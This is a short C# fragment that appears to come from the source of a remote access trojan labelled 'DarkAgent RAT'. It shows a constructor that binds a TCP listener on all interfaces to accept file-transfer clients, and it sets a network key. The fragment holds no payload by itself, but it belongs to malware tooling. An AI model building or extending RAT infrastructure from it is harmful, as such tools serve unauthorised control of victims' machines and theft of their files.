public FileClientListener(int port, int key) { try { _listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); _listener.Bind(new IPEndPoint(IPAddress.Any, port)); _listener.Listen(100); FileClientProcessor processor = new FileClientProcessor(); FileClientProcessor.SetNetworkKey(key); _listener.BeginAccept(OnClientAccept, null); } catch { MessageBox.Show("Unable to listen at port " + port.ToString(), "DarkAgent RAT", MessageBoxButtons.OK, MessageBoxIcon.Error); } }